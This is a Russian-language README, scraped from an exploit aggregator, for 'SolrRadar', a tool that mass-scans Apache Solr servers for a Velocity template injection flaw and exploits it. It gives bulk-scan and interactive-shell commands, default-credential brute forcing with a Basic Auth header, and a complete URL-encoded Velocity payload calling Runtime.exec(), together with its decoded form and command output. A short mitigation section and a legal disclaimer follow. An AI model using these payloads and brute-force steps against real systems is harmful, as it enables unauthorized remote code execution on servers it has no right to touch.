Skip to content
solrradar exploit

solrradar exploit

Sploitus September 7, 2026

![SolrRadar — CVE-2026-44825 Apache Solr Scanner](

![Python]( ![CVE]( ![License](

![Threads]( ![Version]( ![Brute]( ![RCE]( ![Shell](

### _Фреймворк массовой разведки и эксплуатации для Apache Solr_

#### Внедрение Velocity-шаблона → Удалённое выполнение кода

**CVE-2026-44825** — это критическая уязвимость в Apache Solr, которая позволяет злоумышленникам добиться **неаутентифицированного удалённого выполнения кода (RCE)** через внедрение Velocity-шаблона.

Параметр `wt=velocity` конечной точки `/select` Apache Solr принимает пользовательские Velocity-шаблоны. Если Velocity Response Writer включён (или может быть включён через конфигурационный API), атакующий может внедрить вредоносный шаблон, вызывающий `java.lang.Runtime.exec()`, выполняя произвольные системные команды с правами процесса Solr.

Apache Solr включает Apache Velocity как опциональный движок шаблонов для рендеринга ответов. Уязвимость кроется в `VelocityResponseWriter` Solr, который обрабатывает пользовательские параметры шаблонов **без должной очистки** , что позволяет напрямую вызывать Java reflection API:

vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)

> **Примечание:** Проверки версий выполняются автоматически путём парсинга JSON-ответа `/admin/info/system`.

git clone

> Только стандартные библиотеки + `requests`. Никаких экзотических зависимостей.

-t, --target URL или IP[:port] одиночной цели

-f, --file Файл со списком целей (по одной на строку, # для комментариев)

--exploit Авто-эксплуатация, если найдены уязвимые учётные данные

--rce Запуск интерактивной оболочки после аутентификации

-u, --user Имя пользователя для Basic Auth

-o, --output Путь к JSON-файлу для вывода (по умолчанию: solr_results.json)

-w, --workers Количество одновременных потоков (по умолчанию: 30)

-T, --timeout Тайм-аут HTTP-запроса (секунды) (по умолчанию: 8)

python solr_scanner.py -t 192.168.1.100:8983

# Одиночная цель с пользовательским путём

python solr_scanner.py -t

python solr_scanner.py -f targets.txt -o results.json

# targets.txt — поддерживает комментарии и пустые строки

192.168.1.0/24 # (CIDR не поддерживается; предварительно раскройте внешним инструментом)

# Сканирование + авто-эксплуатация, если найдены учётные данные

python solr_scanner.py -f targets.txt --exploit

# Известные учётные данные + интерактивная оболочка

python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks

python solr_scanner.py -t target:8983 --rce

### Сценарий 1: Обнаружение и определение версии

[Solr 8.11.2]

[Solr 8.11.2]

Коллекции (без аутентификации): ['authority', 'dfa', 'oai', ' ']

[Solr 9.4.1] УЯЗВ +Auth

> Все 3 цели обнаружены. Экземпляр 9.4.1 помечен как уязвимый с включённой Basic Auth.

$ python solr_scanner.py -t solr-target.internal

[Solr 9.4.1] УЯЗВ +Auth

Коллекции: ['cms', 'users', ' ', 'analytics']

> Учётные данные по умолчанию `admin:SolrRocks` предоставляют доступ к admin API Solr. Обнаружено четыре коллекции.

### Сценарий 3: Аутентифицированное RCE через Velocity-инъекцию

$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks

uid=8983(solr) gid=8983(solr) groups=8983(solr)

solr:x:8983:8983:Solr:/var/solr:/sbin/nologin

> Полный доступ к интерактивной оболочке с правами Java-процесса Solr.

### Сценарий 4: Полезная нагрузка RCE (ручное воспроизведение)

Для исследователей, желающих понять сырой HTTP-обмен:

curl -sk ' | jq '.lucene."solr-spec-version"'

curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \

'

**Шаг 3 — Выполнение команды через внедрение Velocity-шаблона**

curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \

-H 'Content-Type: application/x-www-form-urlencoded' \

-d 'q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x=%27%27)%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))%23set(%24ex=%24rt.getRuntime().exec(%27id%27))%24ex.waitFor()%25%23set(%24out=%24ex.getInputStream())%23foreach(%24i%20in%20[1..%24out.available()])%24str.valueOf(%24chr.toChars(%24out.read()))%23end' \

**Декодированная полезная нагрузка Velocity-шаблона:**

#set($rt=$x.class.forName('java.lang.Runtime'))

#set($chr=$x.class.forName('java.lang.Character'))

#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

uid=8983(solr) gid=8983(solr) groups=8983(solr)

┌──────────────────────────────────────────────────────┐

│ SOLRRADAR │

├───────────────┬──────────────────────────────────────┤

│ ФАЗА РАЗВЕДКИ│ ФАЗА ЭКСПЛУАТАЦИИ │

│ │ │

│ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │

│ │Обнаруж. │──┼──▶ Брутфорс │───▶│ Velocity RCE │ │

│ │ Solr │ │ │ │ │ Внедр. шабл. │ │

│ └────┬────┘ │ └────┬─────┘ └───────┬────────┘ │

│ │ │ │ │ │

│ ▼ │ ▼ ▼ │

│ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │

│ │ Проверка│ │ │ Учётные │ │ Runtime.exec() │ │

│ │ версии │ │ │ по умолч.│ │ → RCE │ │

│ └─────────┘ │ └──────────┘ └────────────────┘ │

│ │ │

│ ┌─────────┐ │ ┌────────────────────────────────┐ │

│ │ Зонд │ │ │ Интерактивная оболочка (--rce) │ │

│ │ Auth │ │ └────────────────────────────────┘ │

│ └─────────┘ │ │

└───────────────┴──────────────────────────────────────┘

│ Нормализация │ → добавить http:// + /solr, если отсутствует

│ Парсинг JSON│ → извлечь solr-spec-version

│ is_vuln() │ → 9.4–9.10.x или 10.0.0 ?

│ Проверка │ → /admin/cores?action=STATUS

│ аутентиф.(3)│ → /admin/collections?action=LIST

├── Нет auth → Попытка неаутентифицированного вывода

│ Брутфорс │ → 4 пользователя × 8 паролей = 32 попытки

├── Нет совпадений → Отчёт об уязвимости (нет учётных данных)

│ Вывод │ → /admin/collections или /admin/cores

│ RCE через │ → POST /{collection}/select

│ Velocity │ → Velocity-шаблон → Runtime.exec()

### Почему важен `bool(Response[401]) == False`

Тонкая ловушка Python, обнаруженная при разработке:

>>> r = requests.get('

False # ← Ответы 4xx/5xx оцениваются как False!

Это означает, что **каждая** проверка `if response and ...` молча пропускает ошибочные ответы — даже если вы специально хотите обработать 401. Исправление — всегда использовать `if response is not None and ...`:

# ❌ Сломано — ответы 401 молча пропускаются

if r is not None and r.status_code == 401:

Сканер использует **трёхуровневую стратегию обнаружения** для минимизации ложноотрицательных результатов:

Обнаруживает Solr в JSON-ключах (`"solr_home"`, `"solr-spec-version"`, `"mode":"solrcloud"`), HTML-панелях и страницах ошибок — **без учёта регистра**.

'solr' in response.headers.get('Server', '').lower()

Некоторые развёртывания включают «Solr» в HTTP-заголовок `Server`.

### Уровень 3 — Многоэтапное зондирование аутентификации

# Этап 1: Проверка кода ответа /admin/info/system

# Этап 2: Зонд /admin/cores?action=STATUS на 401

# Этап 3: Зонд /admin/collections?action=LIST на 401

Обнаруживает развёртывания, где `/admin/info/system` общедоступен, но административные операции требуют аутентификации.

r'solr-spec-version[^0-9]*([\d.]+)', # lucene.solr-spec-version

r'solr-impl-version[^0-9]*([\d.]+)', # lucene.solr-impl-version

Если вы используете Apache Solr, примените эти меры защиты **немедленно** :

### 2\. Отключение Velocity Response Writer

# Ограничение доступа к admin-эндпоинтам Solr на уровне сети

# Разрешить только доверенным IP-диапазонам доступ к портам 8983/7574

iptables -A INPUT -p tcp --dport 8983 -s TRUSTED_IP/32 -j ACCEPT

iptables -A INPUT -p tcp --dport 8983 -j DROP

# Используйте этот сканер против ВАШЕЙ собственной инфраструктуры

python solr_scanner.py -f my_solr_instances.txt -o audit_results.json

> ### 🚨 ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ТЕСТОВ

> Данное программное обеспечение предоставляется **исключительно в образовательных целях** и для **легитимных исследований безопасности**. Оно предназначено для использования:

> * 🛡️ **Специалистами по безопасности** при проведении авторизованных тестов на проникновение

> * 🏢 **Организациями** , проводящими аудит собственной инфраструктуры Apache Solr

> * 🔬 **Исследователями** , изучающими техники эксплуатации уязвимостей

> * 🎓 **Студентами** , изучающими безопасность веб-приложений

> ### ❌ Вам НЕ РАЗРЕШАЕТСЯ использовать это программное обеспечение для:

> * Доступа к компьютерным системам **без явного письменного разрешения**

> * Компрометации, повреждения или нарушения работы систем, которые вам не **принадлежат**

> * Участия в **незаконной деятельности** любого рода

> Несанкционированный доступ к компьютерным системам нарушает законы, включая, но не ограничиваясь:

> * **США:** Закон о компьютерном мошенничестве и злоупотреблениях (18 U.S.C. § 1030)

> * **Индонезия:** UU ITE Статьи 30 и 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)

> * **Европейский союз:** Директива 2013/40/EU

> * **Великобритания:** Закон о неправомерном использовании компьютеров 1990 года

> **Автор(ы) НЕ НЕСУТ НИКАКОЙ ОТВЕТСТВЕННОСТИ за любое неправомерное использование, ущерб или юридические последствия, возникшие в результате использования этого инструмента. Используя данное программное обеспечение, вы подтверждаете, что несёте единоличную ответственность за свои действия и соглашаетесь соблюдать все применимые законы.**

⚡ Создано с точностью для сообщества исследователей безопасности ⚡

Apache® и Apache Solr® являются зарегистрированными товарными знаками Apache Software Foundation.

Этот проект не аффилирован с Apache Software Foundation и не одобрен ею.

Extracted Entities

IP Addresses (1)